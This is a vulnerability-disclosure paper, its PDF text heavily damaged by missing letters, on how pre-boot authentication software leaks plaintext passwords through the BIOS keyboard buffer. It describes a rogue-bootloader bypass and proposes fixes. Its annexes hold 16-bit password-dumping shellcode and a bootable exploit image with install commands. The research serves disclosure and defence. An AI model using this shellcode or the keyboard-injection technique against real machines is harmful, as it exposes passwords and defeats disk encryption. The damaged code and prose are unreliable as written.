Bypassing pre-boot authenti ation passwords by

instrumenting the BIOS keyboard buer

(pra ti al low level atta ks against x86 pre-boot

authenti ation softwares)

Jonathan Brossard - jonathanivizindia. om

Iviz Te hnosolutions Pvt. Ltd. , Kolkata, India

"The walls between art and engineering exist only in our minds."  Theo

Jansen

Abstra t. Pre-boot authenti ation softwares, in parti ular full hard disk en ryption softwares, play a key role in preventing information theft[1. Be ause Pre-boot authenti ation software programmers om- monly make wrong assumptions about the inner workings of the BIOS interruptions responsible for handling keyboard input, they typi ally1 use the BIOS API without ushing or intializing the BIOS internal key- board buer. Therefore, any user input in luding plain text passwords remains in memory at a given physi al lo ation. In this arti le, we rst present a detailed analysis of this new lass of vulnerability and generi exploits for Windows and Unix platforms under x86 ar hite tures. Un- like urrent a ademi al resear h aiming at extra ting information from the RAM[2[3, our pra ti al methodology does not require any physi al a ess to the omputer to extra t plain text passwords from the physi al memory. In a se ond part, we will present how this information leakage ombined with usage of the BIOS API without areful initialization of the BIOS keyboard buer an lead to omputer reboot without onsole a ess and full se urity bypass of the pre-boot authenti ation pin if an atta ker has enough privileges to modify the bootloader. Other related work in lude information leakage from CPU a hes[4, reading physi al memory thanks to rewire[5and swit hing CPU modes[6.

1Introdu tion

In a previous arti le[7regarding BIOS passwords and CMOS se urity, we presented how BIOS passwords ould be extra ted from memory. In the present arti le, we will generalize our resear h to any pre-boot au- thenti ation software by rst des ribing how password reading routines are implemented at bootloader level, then by des ribing atta k s enarios under both Windows and *nix operating systems, and nally by studying

1 f: Annexe A for a non exhaustive list softwares vulnerable to plain text password leakage.

how password prote ted bootloaders an be rebooted without physi al a ess, leading to a full se urity bypass.

In the rest of this arti le, otherwise expli itly mentioned, p4ssw0rd is the password to the target pre-boot authenti ation software, being it a BIOS password or a bootloader's pin.

In order to introdu e the ontext in whi h pre-boot authenti ation soft- wares are exe uted, we will start with an overview of operating systems booting under x86 ompatible ar hite tures.

1.1An overview of Operating Systems booting

Under the x86 ar hite ture, the boot sequen e an be divided in the fol- lowing steps[8[9:

￿The CPU starts in Real Mode[10.

￿All segment register are set to 0, s is set to 0xFFFFFFF0.[11[12. Quoting the Intel manual Vol 3A hapter 8-6 : The EPROM on-

taining the initialisation ode must be present at this address. The EPROM2 in question is indeed the BIOS.

￿BIOS POST (Power On Self Test) he ks (hardware he king : he ks for RAM, bus, disks, et ) are performed[13.

￿The BIOS loads the rst 512 bytes of the Master Boot Re ord (boot- loader bootstrapping) at address 0x0000:0x07C0 in RAM, and per- forms a far jump to this lo ation, using int 0x19.

￿The boot loader is responsible for booting the kernel (with optional parameters, possibly a big kernel, et ...).

￿The kernel opies part of the BIOS Map to a safe lo ation[14(0x0:0x90000-0x0:0x901FF for Linux), performs some additional hard- ware dete tion and swit hes to Prote ted mode[15[16.

Starting from this point, an authenti ation pro ess is not qualied of "pre-boot authenti ation" anymore. What an we infer from this booting s hema regarding pre-boot authenti ation softwares and their APIs ?

2Nowadays, BIOSes are not oded on EPROMs anymore, but on Programmable Read- only Nonvolatile RAM[12, similar to EEPROM

1.2Pre-boot authenti ation : API and implementation

Given what we have seen previously, a pre-boot authenti ation soft- ware an be implemented in the BIOS itself (e.g.: a user BIOS pass- word) or most probably, for obvious portability reasons, in the boot- loader (lilo/grub, Vista's Bitlo ker[17, or virtually any other pre-boot authenti ation software with or without full disk en ryption apabilities).

Sin e there is no kernel in memory when this authenti ation software is run in RAM, the only API available to the programmer of a pre-boot authenti ation software is the BIOS API. This software might or might not add some kind of en ryption to the disks, but it will surely need to ask the user for a password at a given moment3. Hen e, we will now detail how the BIOS implements reading keystrokes from the keyboard...

1.3Introdu ing the vulnerability : inner workings of BIOS interruption 0x16 and BIOS keyboard buer hystheresis

The BIOS API oers interruption 0x16[18to retrieve keystrokes from the keyboard. In parti ular, fun tions ah=0x01 he ks (and reads) if a key has been pressed and fun tion ah=0x00 reads this keystroke, return- ing the ASCII ode of the keystroke in the AL register and its s an ode (read by Int 0x09 - i.e.: IRQ1[19- from the keyboard and pla ed into the buer. This me hanism allows the use of extended keystrokes, e.g.: Alt+Shift+Keystroke) in the AH register.

We an verify that bootloaders like lilo a tually use those interruptions to read input from the user[20: f ￿gure 1.

Fig. 1. Keyboard reading routine in lilo (le se ond.S taken from lilo 22.8).

But how is this me hanism made possible inside the BIOS itself ?

At boot time, a riti al stru ture, the BIOS Data Area is reated at lo ation 0x0040:0x0000 in RAM. The keyboard ontains an embedded

3Other authenti ation methods su h as usb tokens, smart ards or biometry are out of the s ope of this paper.

8042[21mi ro ontroller to ontinuously s an for keystrokes pressed or released, in real time, independently of the workload of the main CPU. Every time a keystroke is pressed or released, this mi ro ontroller sends a s an ode to a se ond mi ro ontroller (PIC 8259[22) present in the motherboard. This mi ro ontroller unies the two keystrokes sent when pressing and releasing a key and sends a unique s an ode to the keyboard interrupt servi e routine (i.e.: the ISR of interruption 0x09, or physi al IRQ 0x01). The keyboard ISR updates a riti al stru ture reated at boot time at lo ation 0x40:0x00[23: BIOS Data Area a ordingly : f ￿gure 2. It ontains several leds related to keyboards fun tions[24: f ￿gure 3.

Fig. 2. Keyboard handling overview under x86 ompatible ar hite tures.

The BIOS keyboard buer is a tually found at lo ation 0x0040:0x001e. It is 32 bytes long. Sin e a keystroke is oded on two bytes (the rst one for its ASCII ode, the se ond one for its BIOS s an ode), it an handle up to 16 keystrokes4.

The pointers lo ated at 0x0040:0x001A and 0x0040:0x001C keep tra k of how many keys are urrently present inside the buer, and how many have been read so far : therefore, if a user enters the password 'password',

4a tually, the enter key is oded on a single byte, so the keyboard may ontain a bit more than 16 keystrokes.

Fig. 3. Elements of the BIOS Data Area relevant to keyboard handling.

the BIOS keyboard buer would go through the following states between keystrokes : f ￿gure 4.

Fig. 4. Pointers evolution while entering keystrokes (using the keyboard...).

The main problem of this me hanism is that this buer is not ushed after a key has been queried via interruption 0x16, fun tion ah=0x00[18, while programmers may assume it is, only the pointer to the next key is updated : f ￿gure 5.

1.4Verifying there is a vulnerability in a BIOS Password he king routine

To demonstrate the fa t that most programmers will not be aware of this problem, let's verify how the programmers of the BIOS have imple- mented the user BIOS password feature inside the BIOS ash memory

Fig. 5. Pointers evolution while reading keystrokes (using int 0x16).

itself5.

To do so, we will need a small 16 bytes BIOS shell ode ( f: Annexe B

:Shell ode.S ) to a ess physi al memory via real addressing, in Real Mode, and display the ontent of memory at lo ation 0x0040:0x001e.

Sin e this shell ode annot be run from prote ted mode, we will raft a small USB bootloader to load and run it at boot time in real mode ( f: Annexe C : SploitOS.S ) : f gure 6.

Fig. 6. Our simple bootloader running the 16b shell ode in real mode and revealing the Bios password.

As we an see, the programmers of the BIOS itself fail at properly ushing the BIOS keyboard buer after use. Obviously, programmers of pre-boot authenti ation softwares won't be mu h more aware of the problem...

5I am using an Intel BIOS, version PE94510M.86A.0050.2007.0710.1559 (07/10/2007).

1.5Passwords haining

At this point, a areful reader may ask : What happens if the user has to type two passwords before the bootloader loads and transfers ontrol to the kernel ? This is a perfe tly valid question sin e it is absolutely possible to prote t a omputer with, for instan e, both a BIOS password and a pre-boot authenti ation bootloader, or even to hain bootloaders.

Be ause the BIOS keyboard buer is a rotative buer, like explained in gure 5, if the user enters multiple input during the boot sequen e, the keystrokes will simply be on atedated in the BIOS keyboard buer (separated by a 0x1a hara ter orresponding to the arriage return keystroke). Pra ti ally, it means that we an retrieve multiple passwords or ommands in the very same way we would retrieve a single password.

Now that we have a better understanding of the vulnerability, let's move to a tual exploitation under Mi rosoft Windows, and then under *nix platforms.

2Retrieving pre-boot authenti ation passwords under Windows

Windows (from Windows 95 to Vista) is running, like every modern OS, under Prote ted Mode to enable paging, segmentation, and multitasking. It is therefore impossible to a ess physi al addresses dire tly : if we want to get a ess to a memory lo ation, we will have to use virtual adressing and only the Memory Management Unit[25will be able to translate it into a physi al address whi h we will not even know...

To ir umvent prote tions of Prote ted Mode and segmentation, a rst strategy ould be to swit h the OS ba k to Real Mode. This would re- quire modifying the value of ontrol register r0, hen e require ring 0 privileges[11. It ould be implemented as a kernel driver, but would be highly non portable a ross versions of the Windows kernel, plus it would require spe ial privileges.

An other strategy, to disable segmentation and a ess the full physi al memory in read or even write mode would be to swit h to System Man- agement Mode to run our shell ode in 16 bits mode. Su h an atta k has been proved to be pra ti al, assuming the atta ker has root privileges, under OpenBSD[6.

But a tually, all we need is a small shell allowing us to a ess the rst few kilobytes of physi al memory in read mode, and optionally to do a few raw alls to BIOS interruptions to display the ontent of the BIOS keyboard buer. Fortunatelly, the MS-DOS ompatibility mode of Mi- rosoft Windows provides just that : it takes advantage of Intel CPU's V86 Mode[11, to allow 16 bits programs exe ution under ring 3. Some privileged operations like raw a ess to disks via Interruptions 0x13 will

be disabled, but we have a ess to Int 0x10 and even MS-DOS's Int 0x21 without restri tions. And sin e this mode uses Real Addressing and al- lows a ess to the rst 1 MB of physi al memory in read mode[10, we an run our previous 16b BIOS shell ode (Shell ode.S) without any mod- i ation. It is really just a matter of ompiling the ode and pla ing it in a le with an extention .COM, after verifying that it is 4b aligned6, and run our binary7 : f ￿gure 7.

Fig. 7. Su essful exploitation under Windows 2003.

The benets of this method are obvious : it is portable a ross every version of Windows from 95 to Vista 8. And more importantly, this ex- ploitation te hnique requires no spe ial privileges. Notably, Mi rosoft Vista Ultimate edition with Bitlo ker's disk en ryption and TPM en- abled is vulnerable to this atta k.

3Retrieving pre-boot authenti ation passwords under *nix

Retrieving the ontent of the BIOS keyboard buer from Windows was quite easy be ause its MS-DOS emulation wrapper around V86 mode let us a ess the rst megabyte of physi al memory in read mode without restri tions.

Unfortunately, there is no su h real mode + physi al memory read shell under most Unixes. Virtual ma hines and emulators running from user- land emulate the Interruptions entirely, and will not allow us to retrieve a tual information from the BIOS keyboard buer.

In fa t, under Linux, there is a library, lrmi[26(Linux Real Mode In- terfa e), whi h is merely a wrapper around sys all 113 sys_vm86old.

6 ... sin e we are not really using a 16 bits CPU, but emulating it over a 32 bits ar hite ture.

7 We are here using a Fren h version of Windows Server 2003 SP2 Entreprise Edition. 8 A tually, be ause of the imperfe t emulation of 16 bits CPUs, there is one byte to hange to make it work under the real 16 bits mode of the a tual MS-DOS and

Windows 95, so that the memory read a tually points to the desired lo ation.

Assuming we have IOPL(3) - i.e.: root privileges in pra ti e, unless we nd an arbitrary ode exe ution bug in a servi e who has been granted IOPL(3), like Xorg -, by lling a dedi ated datastru ture spe ifying the values of input registers and alling this sys all, we an, from userland, have the kernel swit h to V86 mode, issue an arbitrary BIOS Interrupt and present us the result in the form of the same datastru ture. But we do not have read a ess to physi al memory in real mode through this method, so we will not be able to read the BIOS keyboard buer so easily9... f ￿gure 8.

Fig. 8. Linux Real Mode Interfa e (lrmi) data stru ture to V86 sys all as dened in lrmi.h.

That being said, there are other ways to a ess memory under Unix to bypass segmentation prote tions and read arbitrary physi al memory lo ations. We will rst fo us on userland atta ks and present a generi atta k amongst Unix platforms from userland with root privileges, and se ondly demonstrate an atta k from Kernel Land in the form of a Linux Kernel Module.

9It may nonetheless be possible to use the lrmi library and allowed interruptions to opy the BIOS Data Area to an other pla e in memory. Or retrieve parts of memory in modied registers, sin e manipulating physi al memory via the input parameters rafted into this datastru ture is allowed...

3.1Generi userland exploits against pre-boot authenti ation passwords under *nix

Solaris, *BSD and GNU/Linux provide a spe ial devi e to a ess phys- i al memory dire tly, at least in read mode10 : the hara ter devi e /dev/mem. Sin e it is really a mapping of the physi al RAM of the system, all we need to do is to open /dev/mem in read mode, mmap() its rst page and retrieve the ontent of the BIOS keyboard buer start- ing from address 0x041e : f gure 9.

Fig. 9. Plain text password leakage via /dev/mem under *nix.

In a similar way, we ould retrieve the BIOS keyboard buer from the ker- nel memory itself, from userland, using the hara ter devi e /dev/kmem11

: f gure 10.

Fig. 10. Plain text password leakage via /dev/kmem under GNU/Linux.

Finally, we ould retrieve the same information from the pseudo lesys- tem /pro if /pro /k ore is available12. This le presents the same in- formation as /dev/kmem, the kernel memory (whi h we know ontains a opy of the BIOS Data Area from paragraph 1), but has the stru ture of a ore le. It is really just a matter of nding the right oset in the ore le (0x141e) : f gure 11.

Eventually, we managed to extra t the ontent of the BIOS keyboard buer from userland under Unix in a generi way. We oded a tool based on those experiments ( f: Annexe D : generi .unix.sploit. ) : f gure 12.

10Under OpenBSD, this devi e is in read only mode even for root, if se urelevel is set to se ure mode 2[6.

11This experiment is run under a Linux kernel version 2.6.22, addresses will dier amongst *nix avours be ause the kernel is not mmapped at the same address.

12It is enabled by default on most GNU/Linux distributions.

Fig. 11. Plain text password leakage via /pro /k ore under *nix.

Fig. 12. Our generi userland exploit running under *nix.

This exploit is really generi : it works not only against multiple pre-boot authenti ation softwares13, but also amongst virtually any Unix14 run- ning under x86 (there is no BIOS otherwise) and providing one or the

other of the above mentioned devi e drivers or the /pro pseudo lesys- tem15.

On e overed user land exploitation, we will attempt to retrieve plain text passwords from the kernel.

3.2Doing it the hard way : retrieving passwords from kernel land

In this se tion, we will fo us on GNU/Linux exploitation only, from a kernel land s ope.

Let's rst of all verify that the BIOS Keyboard buer is present in mem- ory at lo ation 0xC000041E16 : f gure 13.

We have oded an exploit in the form of a Linux Kernel Module ( f: Annexe E : ksploit. ) whi h will add a new entry to the /pro pseudo lesystem and display any password present in the BIOS keyboard buer

: f gure 14.

13 f: Annexe A.

14Tested under FreeBSD 6.3, OpenBSD 4.0, OpenSolaris 5.11 and several GNU/Linux distributions in luding Gentoo 2006 and Ubuntu Gutsy.

15Even se ure kernels hardened by the se urity pat h from grse urity[27up to and in luding version 2.1.10 ( urrent) are vulnerable to these atta ks.

16Here, we are remotely debugging a 2.6.19 Linux kernel running under Gentoo 2006 inside Vmware Workstation 6.0 using gdb under Ubuntu[28.

Fig. 13. GNU/Linux kernel debugging reveals plain text passwords.

Fig. 14. Our Linux Kernel Module exploit adding a le ontaining plain text passwords under /pro .

Now that we know how to retrieve plain text passwords from pre-boot authenti ation softwares under both Windows and *nix operating sys- tems, we will present how to use that information leakage to reboot the omputer, to a hieve a full se urity bypass of the pre-boot authenti ation defense.

4Rebooting a omputer prote ted with a pre-boot authenti ation password, without onsole a ess

Rebooting a omputer an be helpful to an atta ker in a large range of s enarios, being it to boot an other -possibly weaker- OS hosted on the same omputer via a multi-boot bootloader like GNU Grub or Lilo in order to extend his ontrol over the ma hine , to pass spe ial kernel parameters to the OS at boot time17, to load a modied kernel image, or any other atta k s enario[29[30...

Even if an atta ker is able to retrieve the password to a pre-boot au- thenti ation pro ess, will he be able to reboot the omputer ? Will he be able to do it without physi al a ess to the onsole ? Can he even be able to reboot it without knowing the password in some ases ? Those are the questions we will try to answer in this se tion.

17like rebooting GNU/Linux in single mode by appending 'init=/bin/sh' or su h to the grub ommand line.

In this se tion, we fo us ex lusively on atta ks against bootloaders. The general methodologies des ribed an be adapted to BIOS passwords like- wise, but they require some fair amount - read non trivial fair amount- of reverse engineering[31and pat hing[30on the BIOS ash ROM and are therefore too vendor spe i to be aborded in this arti le. From now on, we also assume the atta ker is granted enough privileges to modify the bootloader.

4.1Remotely rebooting a pre-boot authenti ation prote ted ma hine without disk en ryption via simple pat hing of the bootloader

If the password asked at boot time is not used to de rypt any portion of the hard disk18, then bypassing the bootloader prote tion is relatively easy : an atta ker with root privileges an simply repla e the urrent bootloader with a new one, re ongure the very same bootloader with- out a password, or if no onguration le is present on the lesystem and the bootloader is really ustom, pat h the password he king routine in the bootloader itself...

It is for instan e quite easy to pat h lilo so that it boots without tim- out, without verifying the he ksums of its onguration les, or without prompting a password. In gure 15, we have pat hed lilo so that it in- stalls a new bootloader, without modifying its onguration les19, to boot the rst valid kernel available immediatly, without asking for a password. For more details on pat hing bootloaders, the arti le Ha king Grub for fun and prot[29by CoolQ in issue 63 of Phra k magazine is a good starting point.

In this simple ase, knowledge of the pre-boot authenti ation password is not required, sin e the whole pre-boot authenti ation s hema is bypassed thanks to the pat h. Let us therefore now fo us on the less trivial ase of en ypted partitions...

4.2Remotely rebooting a pre-boot authenti ation prote ted ma hine with fully en rypted system partition via keyboard emulation : bootloader in the middle atta k

In ase the bootloader uses the password to de rypt the disks, a simple pat hing of the password routine will not su e : the atta ker really needs to have the bootloader de rypt the system partition20.

18... like in bootloaders a la Grub or Lilo.

19in parti ular the /boot/.map le, ontaining the meat of the onguration at boot time.

20One ould also, quite inelegantly, try to retrieve the de ryption algorithm by reverse engineering the bootloader and attempt to reimplement a de ryption routine it in his own ustom bootloader...

Fig. 15. Pat hed lilo rebooting without prompting for a password.

If the bootloader doesn't verify that the BIOS keyboard buer is empty before asking for a password, it ould be lled by an atta ker so that when the bootloader a tually alls interruption 0x16 to retrieve keys, the BIOS a ts like the atta ker was simultaneously typing a password from the onsole.

To ll the keyboard buer before the bootloader itself tries to all in- terruption 0x16, we will need to insert our own rogue bootloader before the pre-boot authenti ation one, ll the buer in some way, and then transfer exe ution ba k to the original bootloader.

Initializing the keyboard buer ould be done by writing dire tly to this buer lo ated at 0x40:0x1e and then update the pointers to the next and latest hara ters at lo ations 0x40:1 and 0x40:1a. But instead of writing dire tly to the BIOS Data Area, there is a more elegant way to handle this problem : mi ro ontrollers (PIC) programming...

We have mentioned previously that the keyboard and the motherboard both ontain Programmable Interrupt Controllers (PICs), that an be ontrolled21 dire tly via I/O ports 0x60 and 0x64. By arti ially for ing the 8042[21mi ro ontroller to send s an odes to the 8259[22mi ro on- troller, we an emulate the a t of pressing and releasing a key on the keyboard : f : gure 16.

21We will not detail the te hni ality envolved in this tri k in this paper, but the interested reader an note that "The Art of Assembly"[23, in parti ular hapter 20 is a must read referen e on that topi .

Fig. 16. Keystroke emulation via 8042 and 8259 mi ro ontrollers programming.

The atta k roadmap to install the rogue bootloader an therefore be di- vided into the following steps : f: gure 17.

Fig. 17. Roadmap to install a rogue bootloader on the disk.

On e installed in pla e of the original bootloader, the rogue bootloader needs to ll in the BIOS keyboard buer before restoring the old MBR and simulate22 an interruption 0x19 to restart the bootstraping pro ess.

22We ould attempt to issue an a tual int 0x19, but Ralf Brown reported that some non standard- ompliant BIOSes modify the RAM when this interrupt is alled. Plus we want our exploit to work against virtual ma hines, whose behavior during 0x19 is not known.

Fig. 18. Roadmap for the rogue "Invisible Man" bootloader during the bootloader in the middle atta k.

The OS independant ode of our rogue bootloader, alled Invisible Man23, implementing this bootloader in the middle atta k an be found on Annexe F. We also provide an example of how to install this bootloader under a GNU/Linux environment in Annexe G.

To illustrate the atta k, let's onsider the following s enario : an atta ker has obtained root a ess to a GNU/Linux omputer running Ubuntu. This omputer has a se ond Operating System, Windows XP Profes- sional SP2, installed on its own drive, fully en rypted using DiskCryp- tor version 0.2.6 (latest). Both the GNU/Linux and the Windows Op- erating Systems are loaded via a ommon Grub (version 0.97) boot- loader, prote ted with an MD5 password hash. The atta ker annot sim- ply mount the Windows partition from the ompromised GNU/Linux, be ause of the AES en ryption layer added by DiskCryptor. But sin e he has knowledge of both passwords24, respe tively toto and titi, the at- ta ker is nonetheless de ided to bypass both the Grub and the DiskCryp- tor pre-boot authenti ation routines to get the Windows OS booted.

Sin e there are really two passwords to enter in a row, the atta ker will need to use the "password haining" te hnique introdu ed earlier. Let's detail a bit the sequen e of keystrokes to be entered upon reboot :

￿Be ause Grub is ongured to boot silently without displaying the menu to the user in rst pla e, the atta ker rst needs to simulate an es ape keystroke to get a ess to the Grub menu. He will then sele t the desired OS by emulating the up key or down key and then the enter key.

￿At this time, Grub will prompt for its password : the atta ker needs to simulate the fa t of entering the Grub password, toto, and then

23This atta ks envolves keystrokes emulation by programming the 8042 PIC embedded inside the keyboard. Hen e, removing the keyboard will make the exploit fail... this is why we alled it Invisible Man and not Invisible keyboard for instan e ;)

24Possibly thanks to the BIOS keyboard buer hystheresis atta k des ribed in the rst part of this paper...

press the enter key.

￿Finally, DiskCryptor's authenti ation will request its password, titi, followed by a nal enter keystroke.

Assuming Windows is the rst Operating system in the Grub menu, the whole keystroke sequen e to be simulated by the rogue bootloader at boottime is therefore : [es ape[enter[t[o[t[o[enter[t[i[t[i[enter.

"Invisible Man" is able to initialize the BIOS keyboard buer to simu- late this omplex keyboard sequen e before transfering ontrol to Grub. The installation of Invisible Man with the new password sequen e is illustrated in gure 19.

Fig. 19. Conguring Invisible Man to ll the BIOS keyboard buer with a omplex password sequen e upon reboot.

Before the Windows splash s reen nally appears, an observator looking at the s reen of the omputer would see something like gure 20 where the rst password entered below the grub menu is the Grub one, while the following one is the one of Disk ryptor.

The main limitation of this me hanism is the size of the BIOS keyboard buer, whi h is only 32 bytes long. Sin e most keys -apart from sev- eral ontrol hara ters like the enter key, oded on only one byte- are oded over two bytes, an atta ker an ontru t a sequen e of about 16 keystrokes only. In pra ti e, this means that if the DiskCryptor's pass- word is longer than 16 hara ters, then the atta k will fail.

Finally, if a pre-boot authenti ation software doesn't initialize the BIOS keyboard buer before usage, it an be tri ked into reading arbitrary input, apparently oming from the onsole, but in reality rafted by a bootloader in the middle like our Invisible Man, installed by an atta ker with enough privileges to modify the MBR, but without onsole a ess.

Fig. 20. The "Invisible Man" bypassing both Grub and DiskCryptor authenti ations by simulating a omplex keyboard sequen e via "password haining".

5Mitigating the vulnerabilities

In a nutshell, we have showed how not initializing the BIOS keyboard buer before usage, or not learing it after usage lead to potential BIOS keyboard buer manipulations. There are really two potential vulnera- bilities we need to address : initialize the BIOS keyboard buer memory before the bootloader uses it, and lean the BIOS Data Area in three lo ations : the BIOS keyboard buer itself (32 bytes long, at address 0x40:0x1e), and the two asso iated pointers at addresses 0x40:1a and 0x40:0x1 (to avoid any information leak regarding the password length) after usage.

We an think of two ways to sanitize the BIOS Data Area after reading user input. The rst one involves learing the relevant memory areas af- ter usage in the bootloader itself. The se ond one is to lear those same areas at boot time in the kernel.

None of the suggested x is perfe t : if we lear the BDA right after the bootloader has ompleted his task, hen e before the kernel is loaded, then any pre-boot authenti ation routine implemented in the earliest stages of the kernel itself25 will still be vulnerable to plain text passwords leakage. On the other hand, if we lear the memory in the kernel, then a rogue bootloader loaded after the a tual bootloader (or BIOS routine), but before the kernel, ould still retrieve the passwords from memory26. We

25like tuxoni e/suspend2 hibernation to disk kernel pat h.

26in other words, there is a ra e ondition between the atta k and the x...

provide a partial x for GNU/Linux x86 (assuming a 3GB/1GB user- land/kerneland split) 2.6 kernels anyway, that will zero out the three memory areas mentioned earlier : f gure 21.

Fig. 21. Suggested Linux Kernel Module to sanitize the BIOS Data Area.

Likewise, initializing (or leaning) the BIOS keyboard buer and its pointers at bootloader level is a matter of adding a few lines of 16b assembly : f gure 22.

Fig. 22. Suggested bootloader routine to sanitize the BIOS Data Area.

We believe that initializing and leaning should be done in the software manipulating the BIOS keyboard buer, being it the BIOS itself, the bootloader or the kernel. The booting sequen e in x86 ar hite ture be- ing stri tly monopro ess, this is the safest way to avoid ra e onditions between the x and any potential bootloader in the middle, let aside pat hing of the initializing or leaning routine, against whi h we are not aware of any possible denitive x.

6Con lusion

In the present paper, we have detailed a new lass of vulnerability af- fe ting pre-boot authenti ation softwares : many pre-boot authenti ation software programmers are not aware of the inner workings of the BIOS interruptions they use in their produ ts, whi h an lead them to wrongly assume the BIOS handles the keyboard in a se ure way by itself.

In fa t, we have rstly shown that many pre-boot authenti ation soft- wares do not lean the BIOS keyboard buer after prompting the user for a password, whi h leads to plain text password leakage atta ks. We exposed an atta k s enario resulting in plain text password leakage to a lo al unprivileged user under any version of Mi rosoft Windows. High value prote tive softwares, in parti ular the version of Mi rosoft Bitlo ker using the latest TPM te hnology shiped with Mi rosoft Vista Ultimate Edition are known to be vulnerable to this atta k. Other ommer ial and open sour e softwares, in luding BIOS ROMs have equally been proved vulnerable. We have likewise shown that this lass of atta k is pra ti al under *nix (GNU/Linux, *BSD and Solaris userland exploit odes have been provided, as well as a kernel land Linux exploit) assuming the at- ta ker has enough privileges, typi ally root.

Se ondly, we have shown that not initializing the BIOS keyboard buer allows an atta ker with enough privileges to write to the Master Boot Re ord but without onsole a ess to remotely reboot a pre-boot authen- ti ation software prote ted omputer and to pass ustom parameters to the bootloader, resulting in privileges es alation or further penetration of other Operating Systems hosted on the same omputer. This bootloader in the middle atta k fully emulates a user typing on a keyboard, even if full disk en ryption is enabled, by lling the BIOS keyboard buer, thanks to a rogue bootloader, before the bootloader attempts to retrieve user input. From a bootloader's perspe tive, there is no way to tell if the data is oming from a rogue bootloader or from a genuine keyboard.

By ombining the two atta ks, we have demonstrated a pra ti al full se urity-bypass atta k s enario against pre-boot authenti ation softwares.

Finally, we have suggested partial xes, at bootloader and kernel lev- els. Those pat hes are quite imperfe t sin e they fail at ensuring the atomi ity of the various buer manipulations : initializing and reading or reading and leaning the BIOS keyboard buer. Therefore, even if the

early bootstraping pro ess is supposed to be monopro ess, a bootloader in the middle atta k an still be attempted if an atta ker is ready to insert his ode during the normal exe ution of the a tual bootloader (af- ter buer has been initialized, but before keystrokes have been read), or right after it (on e the buer is lled, but before it is later leaned). We believe this issue annot be addressed by software only means and would require additional integrity he ks implemented at BIOS level to ensure the Master Boot Re ord has not been tampered with.

Additionally, we have limited the s ope of this paper to password based authenti ation and exploitation without physi al a ess solely. Biomet- ri s, usb-tokens or any other identi ation means may also prove identi- al la k of are with temporary buers when retrieving input from the user. The methodology adopted to retrieve information from the physi- al memory ould also be used to atta k other softwares than pre-boot authenti ation ones. If the atta ker also a hieved to get physi al a ess to the omputer, then the BIOS keyboard buer's ontent an still be retrieved by other atta k ve tors like DRAM remanen e[3or Firewire buses[5.

Annexe A : Non exhaustive list of softwares vulnerable to plain text

password leakage

Vulnerable softwares :

BIOS passwords :

￿Award BIOS Modular 4.50pg[32

￿Insyde BIOS V190[33

￿Intel Corp PE94510M.86A.0050.2007.0710.1559 (07/10/2007)

￿Hewlett-Pa kard 68DTT Ver. F.0D (11/22/2005)

￿Lenovo 7CETB5WW v2.05 (10/13/2006)

Full disk en ryption with pre-boot authenti ation

apabilities :

￿Bitlo ker with TPM and password based authenti ation enabled un- der Mi rosoft Vista Ultimate Edition

￿True rypt 5.0 for Windows

￿DiskCryptor 0.2.6 for Windows (latest)

￿Se u Star DriveCrypt Plus Pa k v3.9 (latest)

Boot loader passwords :

￿grub (GNU GRUB 0.97) (latest CVS)

￿lilo version 22.6.1 ( urrent under Mandriva 2006)

Other Softwares :

￿Software suspend 2 (now tuxoni e), Linux Kernel Pat h (we tested version suspend2-2.2.1 with 2.6.16 kernel)

Non vulnerable softwares :

BIOS Passwords :

￿Hewlett-Pa kard F.20 (04/15/2005)

￿Hewlett-Pa kard F.05 (08/14/2006)

￿Pheonix BIOS Version F.0B, 7/3/2006

￿Phoenix Te hnologies LTD R0220Q0 (25-05-2007)

Full disk en ryption with pre-boot authenti ation

apabilities :

￿SafeGuard 4.40 for Windows

￿PGP Desktop Professional 9.8 for Windows (Trial Version)

 

Annexe B : Shell ode.S

 

;

--------------------- [ Shell ode.S -------------------------

;

;

 

;

;

Jonathan Brossard // jonathanivizindia. om

;

;

endrazinegmail. om

;

;

 

;

; 16b shell ode, BIOS API only used : aimed at being Xplatform

;

; if run under virtual or real mode...

;

;

 

;

; Compiling : nasm -fbin ./Shell ode.S -o Shell ode.COM

;

;

---------------------------------------------------------------

;

;\x30\xe4\xb0\x40\x8e\xd8\xb0\x1 \x89\x 6\x30\xed\xb1\x10\x3e\x8b

;\x04\x30\xe4\x3 \x20\x72\x04\x3 \x7e\x72\x02\xb0\x20\x83\x 6\x02

;\x56\x51\x50\xb4\x03\x30\xff\x d\x10\xb4\x02\xfe\x 2\x d\x10\x58

;\xb4\x0a\xb3\x06\xb1\x01\x d\x10\x59\x5e\xe2\xd2\x30\xe4\xb0\x4

;\x d\x21

org 100h

se tion .text

_start:

xor ah, ah

 

mov al, 0x40

; 0x40:0x1e : keyboard buffer address

mov ds, ax

 

mov al,

0x1

 

mov si,

ax

 

xor h, h mov l, 0x10

leakloop:

mov ax, [ds:si

xor ah,ah

mp al, 0x20 jb keep opying mp al, 0x7e jb keep opying2

keep opying:

mov al, 0x20

keep opying2:

add si, byte +0x2 ; Repla e this line by add si,4

;if you plan to use it under MS-Dos

;due to imperfe t emulation of 16b

;ar h under windows.

push si push x push ax

mov ah, 0x03 xor bh, bh int 0x10

mov ah, 0x02 in dl

int 0x10

pop ax

mov ah, 0ah mov bl, 06h mov l, 0x01 int 0x10 pop x

pop si

loop leakloop

;----- Terminate as well as we an...

xor ah,ah int 0x16

int 0x19

;EOF

 

Annexe C : Sploit-OS.S

;

---------------------------[ Sploit-OS.S -----------------------------

;

 

;Simple bootstrap to test our BIOS shell ode and verify that

;passwords an be leaked in plain text under REAL MODE.

;

;// Jonathan Brossard

;jonathanivizindia. om

;endrazinegmail. om

;

; ------------------------------------------------------------------------

;[ Compiling and using Sploit OS

;The purpose of this ode is to reate a bootable usb disk image

;Po that will retrieve pre-boot authenti ation passwords from

;BIOS memory in Real mode when booted.

;

;

;Here, I assume your usb disk is lo ated on /dev/sdb

;Use `fdisk -l` to get your usb devi e name and modify

;those ommands to mat h your own devi e name.

;

;

;Compiling :

;rootbla kbox:/home/jonathan/sploit-os# nasm -fbin \

;sploitos.asm -o sploitos.img

;

;Verifying the bootable image is ok:

;rootbla kbox:/home/jonathan/sploit-os# file sploitos.img

;x86 boot se tor, ode offset 0x3 , OEM-ID "SploitOS", se tors/

; luster 4, root entries 512, se tors 32768 (volumes <=32 MB) ,

;Media des riptor 0xf8, se tors/FAT 32, heads 64,

;serial number 0xdeb00001, label: "[endrazine", FAT (16 bit)

;rootbla kbox:/home/jonathan/sploit-os#

;

;Installing:

;rootbla kbox:/home/jonathan/sploit-os# at sploitos.img >/dev/sdb

;rootbla kbox:/home/jonathan/sploit-os#

;

;Rebooting:

;rootbla kbox:/home/jonathan/sploit-os# reboot

